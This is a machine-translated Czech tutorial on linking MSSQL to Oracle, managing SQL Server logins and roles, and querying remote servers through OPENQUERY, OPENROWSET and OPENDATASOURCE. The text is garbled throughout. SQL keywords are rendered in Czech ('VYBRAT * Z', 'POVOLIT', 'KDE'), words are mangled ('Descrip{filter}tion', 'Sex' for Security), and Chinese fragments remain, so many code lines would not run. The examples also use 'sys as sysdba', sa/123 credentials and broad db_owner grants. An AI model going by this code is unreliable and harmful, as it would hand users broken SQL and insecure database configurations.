MSSQL provozuje Oracle prostřednictvím LinkServeru
1) Instalace Oracle na server SQL_SERVER 2005
Klient 9i. Předpokládejme, že instalujete do adresáře C:\ora92i\. Pokud je D: NTFS oddíl, musíte nastavit ORACLE nainstalovaný adresář jako ten, který se používá
Odběratelé mají právo spouštět, přidávat a mazat.
2) Konfigurujte soubor C:\ora92i\network\ADMIN\tnsnames.ora. (Následující červený text je příkladem konfigurace)
ORCL=
(DEscrip{filter}tION=.)
(ADDRESS_LIST =
(ADRESA = (PROTOCOL = TCP)(HOST = 192.168.0.11)(PORT= 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = orcl)
)
)
3) Spusť následující příkaz v režimu DOS, abys potvrdil, že je klient ORACLE správně nainstalován.
Uživatel/password@ORCL SQLplus
4) Otevřete Start - Ovládací panel - Služby a potvrďte, že služba Distributed Transaction Coordinator byla spuštěna.
5) Open SQL SERVER Management Studio, Instance Name (ORCL) - Server Object (pravé kliknutí) - New Connection Server.
1.
Link server: Napište název propojeného serveru, například OracleTest
2. Typ serveru, vyberte jiný zdroj dat
3. Přístupové rozhraní: Select Oracle Provider for OLE DB
4. Název produktu: Write Oracle
5. Zdroj dat: Zápis
Název služby je konfigurován v souboru tnsnames.ora, například ORCL
6. Řetězec přístupového rozhraní: userid=sys jako sysdba; password=password
7. Na stránce Výběr bezpečnostních možností použijte tento instalační kontext k navázání spojení:
a) Vzdálené přihlášení: uživatel (jiný uživatel, ne sys)
b)
Používejte heslo: heslo
8. Nastavte "NT AUTHORITY\SYSTEM" na lokální přihlášení, systém vzdáleného uživatele a heslo
9.
Opravdu
6) Existují dva způsoby, jak psát SQL
a) Použití syntaxe T-SQL:
VYBRAT * Z
OraTest.ERP.BAS_ITEM_CLASS
Všimněte si, že při zadávání SQL příkazů v SQL Query Analyzeru věnujte pozornost čínskému přepínání plné a poloviční šířky
Cesta!
b) Použití syntaxe PLSQL: SELECT * FROM openquery(OraTest,'SELECT * FROM
OraTest.ERP.BAS_ITEM_CLASS ')
c) Druhá metoda přístupu je asi o 50 % rychlejší než první; Druhá metoda přístupu je přímo propojená
ORACLE je srovnatelný; První metoda přístupu může vést k nečekaným chybám, například: Tabulka neexistuje, ani současný uživatel
Není přístup ke stolu a tak dále.
d) Pokud sloupec, ke kterému je třeba přistupovat, používá datové typy bez přesnosti, obojí
Jedná se o chybu v ORACLE, kterou nelze opravit a lze jí předejít pouze speciálním zpracováním dotazových příkazů:
Metadata poskytovaná poskytovatelem OLE DB 'OraOLEDB.Oracle' pro sloupce jsou nekonzistentní. Metadata se při vykonání změní.
MSSQL přidáno
Smažte uživatele a udělte oprávnění
Použijte název své knihovny Jdi --Přidat uživatele Exec sp_addlogin 'test' – přidat přihlášení exec
sp_grantdbaccess N'test' – což z něj činí legitimního uživatele aktuální databáze exec sp_addrolemember N'db_owner',
N'test' – uděluje všechna oprávnění k vlastní databázi --To vytváří uživatele, kteří mají přístup pouze ke své vlastní databázi a k tomu, co je v databázi obsaženo
Veřejná tabulka pro hostující uživatele Jdi --Odstranit testovacího uživatele exec sp_revokedbaccess N'test' -- Odebrat přístup k databázi
Limit exec sp_droplogin N'test' -- smazat přihlášení Pokud ho vytvoříte v Enterprise Manageru, použijte: Enterprise Manager - Bezpečnost
Sex --Přihlášení pravým tlačítkem--Nové přihlášení Obecné položky --Zadejte uživatelské jméno do názvu
--Způsob ověřování je vybírán podle vašich potřeb (pokud používáte Windows autentizaci, musíte nejprve vytvořit nového uživatele mezi uživateli operačního systému)
--Ve výchozím nastavení vyberte název databáze, ke kterému chcete pro nového uživatele přistupovat Položka role serveru Nevybírej si v tom nic databáze
Přístupová položka Zkontrolujte název databáze, ke které chcete přistupovat, u uživatele, kterého vytvoříte Povolte v databázové roli, zaškrtněte "veřejné", "db_ownew". Jasně, tohle
Uživatel vytvořený vzorkem je stejný jako uživatel vytvořený výše uvedeným tvrzením
Posledním krokem je nastavení specifických přístupových oprávnění pro konkrétní uživatele, což lze odkázat na následující minimální příklad:
--Přidat uživatele, kteří mají přístup pouze k dané tabulce: execionistické sp_addlogin 'uživatelské jméno', 'heslo', 'výchozí název databáze'
--přidat do databáze Exec sp_grantdbaccess 'uživatelské jméno'
--Přiřadit oprávnění celé tabulce POVOLIT SELECT , VLOŽIT , AKTUALIZOVAT , SMAZAT NA TABULI1 DO [uživatelské jméno] --Přiřaďte oprávnění ke konkrétním sloupcům POVOLIT VÝBĚR , AKTUALIZOVAT NA table1(id,AA) NA [uživatelské jméno]
Pro specifická bezpečnostní nastavení a teoretické znalosti se prosím podívejte na SQL Online Help
Popis role v pevné databázi db_owner Mít plná oprávnění v databázi.
db_accessadmin Můžete přidávat nebo odebírat uživatelská ID.
db_securityadmin Může spravovat plná oprávnění, vlastnictví objektů, role a členství v rolích.
db_ddladmin může vydat VŠECHNA DDL, ale ne GRANT, REVOKE nebo DENY.
db_backupoperator může vydávat příkazy DBCC, CHECKPOINT a BACKUP.
db_datareader Můžete vybrat všechna data z jakékoli uživatelské tabulky v databázi.
db_datawriter Můžete změnit všechna data v jakékoli uživatelské tabulce v databázi.
db_denydatareader Nemůžete vybrat žádná data z žádné uživatelské tabulky v databázi.
db_denydatawriter V žádné uživatelské tabulce v databázi nelze měnit žádná data.
Měl bys si vybrat db_datareader, db_datawriter db_accessadmin
5. Po spuštění instance SQL Server v režimu jednoho uživatele může administrátorský účet Windows použít nástroj sqlcmd k připojení v režimu autentizace Windows
SQL Server。 Můžete použít příkazy T-SQL jako "sp_addsrvrolemember" k přidání existujícího přihlášení do role správce systému
Nebo si vytvořte nový přihlašovací účet. Příklad tvrzení je následující:
EXEC sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';
JDI
Přidejte oprávnění správce systému
(1) Správa rolí serveru
V SQL Serveru existují dvě hlavní uložené procedury, které implementují správu rolí SQL Serveru:
sp_addsrvrolemember
a sp_dropsrvrolemember
sp_addsrvrolemember Můžete přidat přihlašovací účet k roli serveru, aby se stal členem této role. Syntaxe je následující: sp_addsrvrolemember
Přihlásit se, role
sp_dropsrvrolemember Můžete smazat přihlašovací účet ze serverové role, a když je člen odebrán ze serverové role, už tuto roli serveru nemá
Nastavení oprávnění. Syntaxe je následující: sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'role'
do toho
@loginname je jméno přihlášeného uživatele; @rolename je role servera.
(2) Správa databázových rolí
V SQL Serveru je podpora správy databází
Existuje šest hlavních typů uložených procedur a jejich konkrétní významy a syntaxe jsou následující:
sp_addrole: Použito k vytvoření nové databázové role; sp_addrole
role, majitel
sp_droprole: Používá se k odstranění databázové role z aktuální databázové role; sp_droprole role
sp_helprole:
Používá se k zobrazení všech informací o všech databázových rolích v aktuální databázi; sp_helprole ['role']
sp_addrolemember: Používá se k odeslání do databáze
Přidejte uživatele databáze do role, která může být uživatelem definovaná standardní role nebo pevné databázové role, ale nelze
Aplikační pozice. sp_addrolemember role, security_account
sp_droprolemember: Používá se k mazání určité postavy
domácnost; sp_droprolemember role, security_account
sp_helprolemember: Používá se k zobrazení všech členů databázové role
。 sp_helprolemember ['role']
Dotaz MSSQL LINKSERVER
---------------------------------------------------------------------------------- -- Autor:
htl258(Tony) -- Datum : 2010-06-25 22:23:18 -- Verze: Microsoft SQL Server 2008 (RTM) -
10.0.1600.22 (Intel X86) -- 9. července 2008 14:43:34 -- Copyright (c) 1988-2008 Microsoft Corporation --
Vývojářská edice na Windows NT 5.1 (Build 2600: Service Pack 2) -- Blog : -- Předmět: SQL datové operace mezi různými serverovými databázemi ---------------------------------------------------------------------------------- --1. Vytvořte link server --1.1 Vytvořit název odkazu EXEC sp_addlinkedserver 'LinkName','', 'SQLOLEDB',' vzdálený název serveru
nebo IP adresu' -- Pokud máte vlastní název instance, přidejte "\instance name"
/*例如:EXEC sp_addlinkedserver
'TonyLink','','SQLOLEDB','192.168.58.208' */ --1.2 Vytvořte si přihlášení (nebo vytvořte mapu přihlášení na link server) (stačí zvolit jeden způsob) --1.2.1 Přihlášení pomocí Windows autentizace EXEC sp_addlinkedsrvlogin 'LinkName' --nebo EXEC sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */ --1.2.2 Přihlaste se pomocí SQL autentizace EXEC sp_addlinkedsrvlogin 'LinkName', 'false', NULL,'Username', 'Password'
/*例如:EXEC
sp_addlinkedsrvlogin 'TonyLink', 'false', null, 'sa', '123' */ --2. Datové operace související s linkovým serverem --2.1 Příklad dotazu VYBRAT * Z LinkName.database name.schemea name.table name
/*例如:SELECT *
Z TonyLink.Mydb.dbo.tb */ -- 2.2 Příklad importu VYBERTE * DO názvu tabulky Z LinkName.database name.schemea name.table name
/*例如:SELECT * INTO Newtb
Z TonyLink.Mydb.dbo.tb */ -- 2.3 Příklad aktualizace AKTUALIZACE LinkName.Database Name.Schema Name.Table Name SET pole='value' WHERE field='condition'
/*例如:UPDATE
TonyLink.Mydb.dbo.tb SET Persons='g' WHERE Persons='a' */ -- 2.4 Smazat příklady DELETE LinkName.Database Name.Schema Name.Table Name WHERE field name='condition'
/*例如:DELETE
TonyLink.Mydb.dbo.tb KDE Persons='g' */ --3 pomocí funkce rowset (OPENQUERY/OPENROWSET/OPENDATASOURCE).
Metoda
- 3.1 Metoda OPENQUERY (vyžaduje pomoc linkového serveru, který jste právě vytvořili): -- 3.1.1 Příklad dotazu SELECT * FROM OPENQUERY(LinkName, 'SELECT * FROM database name. Název architektury. název tabulky')
/* Například: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */ -- 3.1.2 Příklady importu --3.1.2.1 Importovat všechny sloupce INSERT OPENQUERY(LinkName, 'SELECT * FROM database name. Název architektury. Název tabulky
') VYBRAT * Z lokální tabulky
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *
Z tb */ --3.1.2.2 Importovat zadané sloupce INSERT OPENQUERY(LinkName, 'SELECT * FROM database name. Název architektury. název tabulky') (sloupec, sloupec...) SELECT,
Sloupek... Z lokální tabulky
/* Například: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons) VYBRAT
ROZSAH, ÚROVEŇ, osoby OD TB */ --3.1.3 Příklady aktualizací UPDATE OPENQUERY(LinkName, 'SELECT * FROM database name. Název architektury. název tabulky') pole SET = 'hodnota' WHERE slovo
Segment = 'Stav'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE
Persons='a' */ --3.1.4 Smazat příklady DELETE OPENQUERY(LinkName, 'SELECT * FROM database name. Název architektury. název tabulky') KDE název pole = 'podmínka'
/*例
Například: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') KDE Persons='g' */ --3.2 Metoda OPENROWSET (není nutné používat název vytvořeného odkazu.) Pokud název připojené instance není výchozí, musíte ho nastavit na název nebo IP adresu SQL serveru.
"\instance name") --3.2.1 Příklad dotazu --3.2.1.1 Dotaz na způsob ověřování Windows (jedna z následujících metod je dostačující) SELECT * FROM OPENROWSET('SQLOLEDB', 'server=SQL Server Name nebo
IP adresa; Trusted_Connection=ano', název databáze. Název architektury. Název tabulky) SELECT * FROM OPENROWSET('SQLNCLI',
'server=název SQL serveru nebo IP adresa; Trusted_Connection=ano', název databáze. Název architektury. Název tabulky) VYBRAT * Z
OPENROWSET('SQLOLEDB', 'server=sql server name or IP address; Trusted_Connection=ano','VYBRAT * Z databáze
Jméno. Název architektury. název tabulky') SELECT * FROM OPENROWSET('SQLNCLI', 'server=název sql serveru nebo IP adresa
Adresa; Trusted_Connection=ano','VYBRAT * Z názvu databáze. Název architektury. název tabulky')
/* Například: SELECT * FROM OPENROWSET
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)
Nebo: VYBERTE * Z OPENROWSET
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)
Nebo: VYBERTE * Z OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ano','VYBRAT *
Z Mydb.dbo.tb')
Nebo: VYBERTE * Z OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ano','VYBRAT *
Z Mydb.dbo.tb') */ --3.2.1.2 SQL autentizační metoda dotazování (Jedna z následujících metod je dostačující) VYBRAT * Z OPENROWSET
('SQLOLEDB', 'server=název nebo IP adresa sql serveru; uid=uživatelské jméno; pwd=heslo', název databáze. Název architektury. Název tabulky) VYBRAT * Z
OPENROWSET('SQLNCLI', 'server=název sql serveru nebo IP adresa; uid=uživatelské jméno; pwd=heslo', název databáze. Název architektury. Název tabulky) VYBERTE * Z OPENROWSET('SQLOLEDB', 'server=název sql serveru nebo IP adresa; uid=uživatelské jméno; pwd=password','SELECT *
FROM název databáze. Název architektury. název tabulky') SELECT * FROM OPENROWSET('SQLNCLI', 'server=název sql serveru nebo IP adresa; uid=
Uživatelské jméno; pwd=password','SELECT * FROM názvu databáze. Název architektury. název tabulky') SELECT * FROM OPENROWSET('SQLOLEDB', 'sql
název serveru'; 'uživatelské jméno'; 'heslo', název databáze. Název architektury. Název tabulky) SELECT * FROM OPENROWSET('SQLNCLI', 'SQL SERVER NAME
'; 'uživatelské jméno'; 'heslo', název databáze. Název architektury. Název tabulky) VYBERTE * Z OPENROWSET('SQLOLEDB', 'SQL SERVER NAME'; ' uživatel
jméno'; 'Heslo', 'VYBRAT * Z názvu databáze. Název architektury. název tabulky') SELECT * FROM OPENROWSET('SQLNCLI', 'sql server
jméno'; 'uživatelské jméno'; 'Heslo', 'VYBRAT * Z názvu databáze. Název architektury. název tabulky')
/* 例如:SELECT * FROM OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Nebo: VYBERTE * Z OPENROWSET
('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) Nebo: VYBERTE * Z OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM Mydb.dbo.tb')
nebo: VYBERTE * Z OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','VYBRAT * Z
Mydb.dbo.tb')
nebo: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
nebo: VYBERTE * Z OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)
nebo: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123','SELECT * Z Mydb.dbo.tb')
nebo: VYBERTE * Z OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123','SELECT * Z Mydb.dbo.tb') */ --3.2.2 Import příklad --3.2.2.1 Importovat všechny sloupce INSERT OPENROWSET('SQLOLEDB', 'server=název sql serveru nebo IP adresa
Adresa; uid=uživatelské jméno; pwd=heslo', název databáze. Název architektury. Název tabulky) VYBRAT * Z lokální tabulky
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) VYBRAT * Z TB */ --3.2.2.2 Import
Specifikovat sloupce INSERT OPENROWSET('SQLOLEDB', 'server=název SQL serveru nebo IP adresa; uid=uživatelské jméno; pwd=heslo', název databáze. Rack
Název konstrukce. název tabulky) (sloupec, sloupec...) SELECT sloupec, sloupec... Z lokální tabulky
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(ROZSAH,ÚROVEŇ,Osoby) VYBRAT
ROZSAH, ÚROVEŇ, osoby OD TB */ --Poznámka: Pro více alternativních metod viz příklad dotazu .2.1, stačí nahradit funkci OPENROWSET
Obsah je dostačující. --3.2.3 Příklad aktualizace AKTUALIZOVAT OPENROWSET('SQLOLEDB', 'server=název sql serveru nebo IP adresa; uid=uživatelské jméno
;p wd=password', název databáze. Název architektury. Název tabulky) Pole SET = 'hodnota' Kde pole = 'podmínka'
/*例如:UPDATE OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) SET Persons='g' KDE Persons='a' */ --Poznámka: Pro alternativnější metody se podívejte na příklad dotazu .2.1, stačí nahradit obsah v OPENROWSET. --3.2.4 Smazat indikaci
Příklad DELETE OPENROWSET('SQLOLEDB', 'server=název sql serveru nebo IP adresa; uid=uživatelské jméno; pwd=heslo', název databáze. Název schématu
.table name) KDE název pole = 'podmínka'
/* Například: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) KDE
Persons='g' */ --Poznámka: Pro alternativnější metody viz příklad dotazu .2.1, stačí nahradit obsah v OPENROWSET. --3.3 Metoda OPENDATASOURCE
(Nemusíte používat název vytvořeného odkazu.) Pokud název instance spojení není výchozí, musíte přidat \instance name za SQL Server nebo IP adresu
") --3.3.1 Příklad dotazu --3.3.1.1 Dotaz na Windows Authentication Method (Jedna z následujících metod je dostačující) SELECT * FROM OPENDATASOURCE('SQLOLEDB',
'server=název SQL serveru nebo IP adresa; Trusted_Connection=ano'). Název databáze. Název architektury. Název tabulky VYBRAT * Z
OPENDATASOURCE('SQLNCLI', 'server=název sql serveru nebo IP adresa; Trusted_Connection=ano'). Název databáze. Název architektury.
Název tabulky
/* Například: VYBERTE * Z OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ano"). Mydb.dbo.tb
Nebo: VYBERTE * Z OPENDATASOURCE
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ano"). Mydb.dbo.tb */ --3.3.1.2 Dotaz na SQL autentizační metodu (jedna z následujících metod je dostačující) SELECT * FROM OPENDATASOURCE('SQLOLEDB', 'server=název sql serveru nebo
IP adresa; uid=uživatelské jméno; pwd=password'). Název databáze. Název architektury. Název tabulky VYBERTE * Z OPENDATASOURCE ('SQLNCLI', 'server=název sql serveru nebo IP adresa; uid=uživatel
Jméno; pwd=password'). Název databáze. Název architektury. Název tabulky SELECT * FROM OPENDATASOURCE('SQLOLEDB', 'Data Source=název sql serveru nebo IP adresa
Adresa; uid=uživatelské jméno; pwd=password'). Název databáze. Název architektury. Název tabulky VYBERTE * Z OPENDATASOURCE('SQLNCLI', 'Data Source=název sql serveru nebo IP adresa
Adresa; uid=uživatelské jméno; pwd=password'). Název databáze. Název architektury. Název tabulky
/* 例如:SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Nebo: VYBERTE * Z OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Nebo: VYBERTE * Z OPENDATASOURCE ('SQLOLEDB','Data
Zdroj=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Nebo: VYBERTE * Z OPENDATASOURCE ('SQLNCLI','Data
source=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb */ Importovat všechny sloupce INSERT OPENDATASOURCE('SQLOLEDB', 'server=název SQL serveru nebo IP adresa; uid=uživatelské jméno; pwd=password').
Podle názvu knihovny. Název architektury. Název tabulky VYBRAT * Z lokální tabulky
/* Například: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb VYBRAT
* Z tuberkulózy */ --3.3.2.2 Importovat zadané sloupce INSERT OPENDATASOURCE('SQLOLEDB', 'server=název SQL serveru nebo IP adresa; uid=uživatelské jméno; pwd=password').
Podle názvu knihovny. Název architektury. Název tabulky (sloupec, sloupec...) SELECT sloupec, sloupec... Z lokální tabulky
/* Například: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
(VZDÁLENOST, ÚROVEŇ, Osoby) VYBERTE ROZSAH, ÚROVEŇ,Osoby Z TB */ --Poznámka: Pro alternativnější metody viz příklad dotazu .3.1, stačí nahradit obsah ve funkci řádkové sady (OPENDATASOURCE). --3.3.3 Příklad aktualizace AKTUALIZOVAT OPENDATASOURCE ('SQLOLEDB', 'server=název sql serveru nebo IP adresa; uid=uživatelské jméno; pwd=password'). Název databáze. Název architektury. Název tabulky Pole SET = 'hodnota' Kde pole = 'podmínka'
/*例如:UPDATE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb SET Persons='g' KDE Persons='a' */ --Poznámka: Pro alternativnější metody viz příklad dotazu .3.1, stačí nahradit obsah ve funkci řádkové sady (OPENDATASOURCE). --3.3.4 Příklad Delete DELETE OPENDATASOURCE('SQLOLEDB', 'server=název sql serveru nebo IP adresa; uid=uživatelské jméno; pwd=password'). Název databáze. Název architektury. Název tabulky KDE název pole = 'podmínka'
/*例如:DELETE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb KDE Persons='g' */ - Poznámka: Další alternativy
Podívejte se na příklad dotazu .3.1, stačí nahradit obsah ve funkci řádků (OPENDATASOURCE). -- Smazat metodu propojeného serveru --Pokud už v budoucnu informace o odkazu nebudete používat, můžete je smazat --4.1 Smazat přihlašovací údaje (nebo smazat mapu přihlašovacích jmen propojeného serveru) EXEC sp_droplinkedsrvlogin 'LinkName', NULL
/* Například: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */ --4.2 Smažte propojený název serveru EXEC sp_dropserver 'LinkName', 'droplogins' – pokud jsou uvedeny droplogins, Mapa přihlášení musí být smazána před smazáním propojeného serveru
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */
--Připojeno
: Jak získat název poskytovatele (EXEEC master). xp_enum_oledb_providers) SELECT CAST([Název poskytovatele] JAKO
VARCHAR(30)) ProviderName, CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion Z
OPENROWSET( 'SQLOLEDB', 'Server=.; Trusted_Connection=ano', 'SPUSTI FMTonly; EXEC
Mistře.. xp_enum_oledb_providers'
)
|